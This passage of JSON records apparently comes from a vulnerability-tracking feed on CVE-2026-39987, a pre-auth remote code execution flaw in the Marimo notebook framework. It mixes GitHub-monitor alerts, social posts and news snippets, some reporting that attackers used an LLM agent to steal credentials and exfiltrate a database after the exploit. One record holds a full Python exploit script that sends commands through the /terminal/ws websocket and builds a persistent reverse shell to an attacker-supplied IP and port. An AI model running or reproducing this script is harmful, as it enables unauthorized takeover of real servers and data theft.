"source": "https://t.me/GithubRedTeam/96281", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-39987\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a gbuyssens\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-02 10:53:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nMarimo exploit prior to 0.23.0. Pre-Auth RCE vulnerability via websocket endpoint : /terminal/ws.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-03T02:07:11.969799Z"}, {"uuid": "29fe0202-15cc-4720-8615-9da1068c804b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://t.me/GithubRedTeam/82751", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-39987\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rootdirective-sec\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 10:58:07\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T11:00:04.000000Z"}, {"uuid": "f39d4b3c-e568-482e-a53f-5188ebcfe1b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://gist.github.com/byt3n33dl3/19eb1e71f4387d6411f8279c199e7d1a", "content": "#!/usr/bin/env python3\n\"\"\"\nCVE-2026-39987 - Marimo < 0.23.0 Pre-Auth RCE via /terminal/ws\nMODIFIED: added persistent reverse shell support.\n\"\"\"\n\nimport sys\nimport time\nimport argparse\nfrom urllib.parse import urlparse\n\ntry:\n    import websocket\nexcept ImportError:\n    print(\"[!] Missing dependency: pip install websocket-client\")\n    sys.exit(1)\n\n\ndef build_ws_url(target: str) -> str:\n    parsed = urlparse(target if \"://\" in target else f\"https://{target}\")\n    scheme = \"wss\" if parsed.scheme == \"https\" else \"ws\"\n    netloc = parsed.netloc or parsed.path\n    return f\"{scheme}://{netloc}/terminal/ws\"\n\n\ndef run_command(ws_url: str, command: str, read_seconds: float = 0.5, verify_ssl: bool = False, persist: bool = False):\n    if persist:\n        # Wrap command with nohup and send to background\n        command = f\"nohup {command} > /dev/null 2>&1 &\"\n        print(f\"[*] Persist mode: running detached: {command}\")\n        # We don't need to read much output because it's backgrounded\n        read_seconds = 0.5\n\n    print(f\"[*] Connecting to: {ws_url}\")\n    sslopt = {\"cert_reqs\": 0} if not verify_ssl else None\n    ws = websocket.create_connection(ws_url, timeout=10, sslopt=sslopt)\n    print(\"[+] WebSocket connected\")\n\n    # Drain initial banner\n    ws.settimeout(1.0)\n    try:\n        while True:\n            banner = ws.recv()\n            print(f\"[banner] {banner!r}\")\n    except:\n        pass\n\n    # Send command with newline\n    payload = command + \"\\n\"\n    print(f\"[*] Sending: {payload!r}\")\n    ws.send(payload)\n\n    # Read output for a short time (if any immediate response)\n    output_chunks = []\n    ws.settimeout(0.5)\n    end_time = time.time() + read_seconds\n    while time.time() < end_time:\n        try:\n            chunk = ws.recv()\n            if chunk:\n                output_chunks.append(chunk)\n        except:\n            continue\n\n    ws.close()\n\n    full_output = \"\".join(\n        c if isinstance(c, str) else c.decode(errors=\"replace\")\n        for c in output_chunks\n    )\n\n    if full_output:\n        print(\"\\n\" + \"=\" * 60)\n        print(\"OUTPUT:\")\n        print(\"=\" * 60)\n        print(full_output)\n        print(\"=\" * 60)\n    else:\n        print(\"[*] No output received (expected if command is running in background).\")\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"CVE-2026-39987 Marimo PoC (fixed)\")\n    parser.add_argument(\"target\", help=\"Target URL, e.g. https://host\")\n    parser.add_argument(\"command\", nargs=\"?\", help=\"Command to execute (optional with --revshell)\")\n    parser.add_argument(\"--revshell\", nargs=2, metavar=(\"IP\", \"PORT\"), help=\"Generate a persistent reverse shell\")\n    parser.add_argument(\"--persist\", action=\"store_true\", help=\"Wrap command with nohup & background\")\n    parser.add_argument(\"--read-seconds\", type=float, default=1.0, help=\"Time to wait for output\")\n    parser.add_argument(\"--verify-ssl\", action=\"store_true\", help=\"Verify TLS certs\")\n    args = parser.parse_args()\n\n    confirm = input(\"Authorized? (yes/no): \").strip().lower()\n    if confirm != \"yes\":\n        print(\"[!] Aborting.\")\n        sys.exit(1)\n\n    if args.revshell:\n        ip, port = args.revshell\n        # Build persistent reverse shell payload (Python with pty)\n        command = (\n            f\"python3 -c 'import socket,subprocess,os,pty;\"\n            f\"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\"\n            f\"s.connect((\\\"{ip}\\\",{port}));\"\n            f\"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);\"\n            f\"pty.spawn(\\\"/bin/bash\\\")'\"\n        )\n        persist = True\n    else:\n        if not args.command:\n            parser.print_help()\n            sys.exit(1)\n        command = args.command\n        persist = args.persist\n\n    ws_url = build_ws_url(args.target) if \"/terminal/ws\" not in args.target else args.target\n    run_command(ws_url, command, read_seconds=args.read_seconds, verify_ssl=args.verify_ssl, persist=persist)\n\n\nif __name__ == \"__main__\":\n    main()", "creation_timestamp": "2026-08-02T05:24:34.189466Z"}, {"uuid": "ae93da95-8f61-4ea7-986b-f7dc67d86ec6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96281", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-39987\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a gbuyssens\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-02 10:53:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nMarimo exploit prior to 0.23.0. Pre-Auth RCE vulnerability via websocket endpoint : /terminal/ws.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-02T12:04:24.858994Z"}, {"uuid": "474faa68-b2f8-4608-9a34-3c7d09b247cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://t.me/GithubRedTeam/96391", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-39987_PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Wind010\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-03 06:33:05\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA proof-of-concept for CVE-2026-39987\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-03T08:00:02.829358Z"}, {"uuid": "1b5d66c8-52aa-44b3-83f3-a7d16215f982", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://t.me/GithubRedTeam/84393", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-39987-marimo-rce\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xdeadroot\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-16 01:40:10\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-39987\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-16T02:00:04.000000Z"}, {"uuid": "471db963-69b7-4eac-b779-17af13ebfaa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "Telegram/qFnncewX_FdOxDivGoEqJX19AvA6N2dSwzORt9UZIQWFUQU", "content": "", "creation_timestamp": "2026-05-17T02:07:47.000000Z"}, {"uuid": "12a706a8-c0af-4b1b-b59c-4262089b4fea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "Telegram/j-DMWk1jylS6oTK3WkqNWOGjNQLp4_I9IFyoV0ikHsL-Sj8", "content": "", "creation_timestamp": "2026-08-04T00:00:41.957846Z"}, {"uuid": "6231a775-98b8-4285-a64b-64ef26fddd46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mm4tu3s5o22t", "content": "Critical Pre-Authentication RCE in Marimo Notebook Framework (CVE-2026-39987) Exposes AI and Data Science Systems to Full\u00a0Compromise\n\nIntroduction A newly discovered critical vulnerability in the Marimo Python notebook framework has raised serious concerns across the AI and data science ecosystem.\u2026", "creation_timestamp": "2026-05-18T12:10:51.970354Z"}, {"uuid": "925af430-9313-47ee-b6fe-e4a22c577411", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96391", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-39987_PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Wind010\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-03 06:33:05\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA proof-of-concept for CVE-2026-39987\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-04T00:00:45.283391Z"}, {"uuid": "8e2c9530-aeac-4af6-8ad1-89a3ed904e96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96303", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-39987\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a jasonbernier\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-02 14:52:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSimple POC for CVE-2026-39987\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-02T16:02:14.461656Z"}, {"uuid": "10562364-55db-46cb-8325-4fb9e392d2c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "Telegram/SHCtA7dY1mItB2gbm66yqWXF69tJGblulI8ccELNE-1shwc", "content": "", "creation_timestamp": "2026-08-02T18:00:05.811616Z"}, {"uuid": "f18a1fa6-5eff-4185-8802-3635755766a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://t.me/GithubRedTeam/85729", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-39987-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a M3PH1569\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-24 18:00:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-39987 Exploitation Tool - Marimo < 0.23.0 Pre-Auth RCE (WebSocket)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-24T18:01:08.000000Z"}, {"uuid": "9de36cf0-c2c9-4123-afec-88cfbee82d7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "Telegram/Ob2oA_mupoVDMqE6Q_QCizAK8aYtg6z11DPx_SkAfocJmb0", "content": "", "creation_timestamp": "2026-05-24T21:00:04.000000Z"}, {"uuid": "e6eb47f5-994b-44e4-ba15-906786167b27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-39983", "type": "published-proof-of-concept", "source": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-chqc-8p9q-pq6q", "content": "", "creation_timestamp": "2026-04-08T16:36:30.000000Z"}, {"uuid": "2bd83ec9-5151-4056-8731-983f2b1b12e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-39981", "type": "published-proof-of-concept", "source": "https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw", "content": "", "creation_timestamp": "2026-04-08T13:35:21.000000Z"}, {"uuid": "caef5d42-e755-4eaa-a8e7-b2aacd06ccf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/LLMs.activitypub.awakari.com.ap.brid.gy/post/3mmywjpd4vqd2", "content": "Attackers Use LLM Agent for Post-Exploitation After Marimo CVE-2026-39987 Exploit TheHackerNews LLM-driven attackers exploited CVE-2026-39987 on May 10, 2026, to steal credentials and exfiltrate a ...\n\n#Security #News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-29T16:13:21.633198Z"}, {"uuid": "2c8d3135-b7ac-479c-80e2-4454e58d6fa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mmyxegnly52g", "content": "Attackers Use LLM Agent for Post-Exploitation After Marimo CVE-2026-39987 Exploit", "creation_timestamp": "2026-05-29T16:28:14.263765Z"}, {"uuid": "c45e8187-01b3-4f27-b147-4c7b7c222a20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/cybersecurity0001.bsky.social/post/3mmyxnnxlv722", "content": "Attackers Use LLM Agent for Post-Exploitation After Marimo CVE-2026-39987 Exploit", "creation_timestamp": "2026-05-29T16:33:24.125349Z"}, {"uuid": "5b36093a-ea61-4b38-8bc3-19be2fb7e643", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/it4intserver.bsky.social/post/3mmyyh3btmz2n", "content": "iT4iNT SERVER Attackers Use LLM Agent for Post-Exploitation After Marimo CVE-2026-39987 Exploit VDS VPS Cloud #CyberSecurity #LLM #CVE202639987 #PostExploitation #ThreatIntel", "creation_timestamp": "2026-05-29T16:47:37.994221Z"}, {"uuid": "37258f82-61b6-4ff7-a76d-ed22471d64bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://t.me/ctinow/251030", "content": "Attackers Use LLM Agent for Post-Exploitation After Marimo CVE-2026-39987 Exploit\nhttps://ift.tt/g1xZjKL", "creation_timestamp": "2026-05-29T16:09:34.000000Z"}, {"uuid": "405273e2-b228-4884-acb8-f73627366b69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mmyzdopiznp2", "content": "Attackers Use LLM Agent for Post-Exploitation After Marimo CVE-2026-39987 Exploit An unknown threat actor has been observed using a large language model (LLM) agent to conduct post-compromise actio...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-29T17:03:37.788492Z"}, {"uuid": "f0ed531c-993d-438e-8df6-e522da50278f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-39987", "type": "seen", "source": "https://bsky.app/profile/lumetanews.bsky.social/post/3mmyzwqgjj22p", "content": "Full analysis \u2192\n\nhttps://lumeta.news/en/attackers-llm-marimo-cve-2026-39987?utm_source=bsky&utm_medium=social&utm_campaign=auto_thread\n\n#Cve202639987 #PostExploitation #ThreatActors", "creation_timestamp": "2026-05-29T17:14:15.682083Z"}, {"uuid": "749f07d7-d2b5-4b80-80eb-9c76afa024d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mmz4qq6gvn2a", "content": "\ud83e\udd16 Attackers Use LLM Agent for Post-Exploitation After Marimo CVE-2026-39987 Exploit\n\nAn unknown threat actor has been observed using a large language model (LLM) agent to conduct p...\n\nhttps://tinyurl.com/makdej23 #AINews #MachineLearning #CrustyTLDR", "creation_timestamp": "2026-05-29T18:04:35.285581Z"}, {"uuid": "b3657a3c-ae33-40d8-b88f-338745c0fceb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://t.me/cibsecurity/89532", "content": "\ud83d\udd8b\ufe0f Attackers Use LLM Agent for Post-Exploitation After Marimo CVE-2026-39987 Exploit \ud83d\udd8b\ufe0f\n\nAn unknown threat actor has been observed using a large language model LLM agent to conduct postcompromise actions after obtaining initial access following the exploitation of a publiclyaccessible Marimo network using a recently disclosed vulnerability.  \"The attacker compromised an internetreachable Marimo notebook via CVE202639987, extracted two cloud credentials from the compromised.\n\n\ud83d\udcd6 Read more.\n\n\ud83d\udd17 Via \"The Hacker News\"\n\n----------\n\ud83d\udc41\ufe0f Seen on @cibsecurity", "creation_timestamp": "2026-05-29T18:12:18.000000Z"}, {"uuid": "74d6d473-5ca9-4a85-b778-4a5c46038219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://thehackernews.com/2026/05/attackers-use-llm-agent-for-post.html", "content": "An unknown threat actor has been observed using a large language model (LLM) agent to conduct post-compromise actions after obtaining initial access following the exploitation of a publicly-accessible Marimo network using a recently disclosed vulnerability.\n\n\"The attacker compromised an internet-reachable Marimo notebook via CVE-2026-39987, extracted two cloud credentials from the compromised", "creation_timestamp": "2026-05-29T12:39:56.000000Z"}, {"uuid": "9a7b03a7-82ee-4989-9a96-357514f24f62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://t.me/TengkorakCyberCrewzz/10712", "content": "Attackers Use LLM Agent for Post-Exploitation After Marimo CVE-2026-39987 Exploit \u2013 thehackernews.com\n\nFri, 29 May 2026 22:39:56", "creation_timestamp": "2026-05-29T20:03:01.000000Z"}, {"uuid": "1749e040-483b-41ac-8be0-1ca3ddb0c695", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mmzyyyywj42g", "content": "Top 3 CVE for last 7 days:\nCVE-2026-48095: 19 interactions\nCVE-2026-69: 19 interactions\nCVE-2026-26980: 16 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-31431: 6 interactions\nCVE-2026-48095: 6 interactions\nCVE-2026-39987: 4 interactions\n", "creation_timestamp": "2026-05-30T02:30:18.241130Z"}, {"uuid": "133a0373-aaed-487d-b211-f784234abc59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/sec-news-bot.bsky.social/post/3mn22q47ezp2a", "content": "Marimo CVE-2026-39987\u3001LLM\u30a8\u30fc\u30b8\u30a7\u30f3\u30c8\u306b\u3088\u308b\u30dd\u30b9\u30c8\u4fb5\u5bb3\u6d3b\u52d5\u3092\u78ba\u8a8d\n\n5\u670810\u65e5\u3001CVE-2026-39987\u304c\u60aa\u7528\u3055\u308c\u3001LLM\u30c9\u30ea\u30d6\u30f3\u306e\u653b\u6483\u8005\u304c\u8a8d\u8a3c\u60c5\u5831\u3092\u7a83\u53d6\u3057\u3066PostgreSQL\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3092\u6d41\u51fa\u3055\u305b\u307e\u3057\u305f\u3002\u521d\u671f\u4fb5\u5bb3\u5f8c\u3001LLM\u30a8\u30fc\u30b8\u30a7\u30f3\u30c8\u304c\u8ffd\u52a0\u306e\u6a29\u9650\u6607\u683c\u306b\u4f7f\u7528\u3055\u308c\u305f\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\n\n#\u60c5\u5831\u6f0f\u6d29 #CVE #\u8106\u5f31\u6027", "creation_timestamp": "2026-05-30T03:01:07.039946Z"}, {"uuid": "72432a84-3beb-4e1c-bde7-16ebb58f889f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mn257cocvc2x", "content": "Attackers exploited Marimo CVE-2026-39987 for RCE, then used an LLM agent to harvest creds, access AWS Secrets Manager, gain SSH bastion access, and exfiltrate PostgreSQL data. #Marimo #AWSSecrets #PostgreSQL", "creation_timestamp": "2026-05-30T03:45:26.639799Z"}, {"uuid": "21c7e8dd-2eee-4793-b39c-423ebcbab187", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://t.me/thehackernews/9113", "content": "\u26a0\ufe0f Attackers used an LLM agent for post-exploitation after breaching a public Marimo notebook via CVE-2026-39987, a pre-auth RCE flaw affecting versions \u22640.20.4.\n\nThe intrusion stole cloud credentials, retrieved an SSH key from AWS Secrets Manager, and exfiltrated a PostgreSQL database via eight SSH sessions in under two minutes.\n\nFull report: https://thehackernews.com/2026/05/attackers-use-llm-agent-for-post.html", "creation_timestamp": "2026-05-29T14:53:34.000000Z"}, {"uuid": "f2663482-b8cd-422e-b527-2a3b6a5cded3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3mn3i7t3fdk25", "content": "Attackers Use LLM Agent for Post-Exploitation After Marimo CVE-2026-39987 Exploit #cybersecurity #hacking #news #infosec #security #technology #privacy thehackernews.com/20...", "creation_timestamp": "2026-05-30T16:35:12.795382Z"}, {"uuid": "aef6f5f2-5b11-4661-904f-cd5a733edb9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mn47aa4gx22g", "content": "Attackers Use LLM Agent for Post-Exploitation After Marimo CVE-2026-39987 Exploit\n\nAn unknown threat actor has been observed using a large language model (LLM) agent to conduct post-compromise actions after obtaining initial access following the exploitation of a publicly-acc\u2026\n#hackernews #llm #news", "creation_timestamp": "2026-05-30T23:27:02.393101Z"}, {"uuid": "d520587b-90d4-4380-828e-854f6cd7a805", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mn4dd6qbxs2k", "content": "A new authentication bypass vulnerability (CVE-2026-39987, CVE-2026-39987) is being actively exploited in the wild. The target: LLM, Marimo. This is n\n\nThis is not the first time a critical authentication bypass has been found in LL\n\nhttps://securitycyber.uk\n\n\n\nhttps://securitycyber.uk | Training: h", "creation_timestamp": "2026-05-31T00:40:16.251295Z"}, {"uuid": "065e3764-bdd4-4a21-b80a-73703ede0db8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 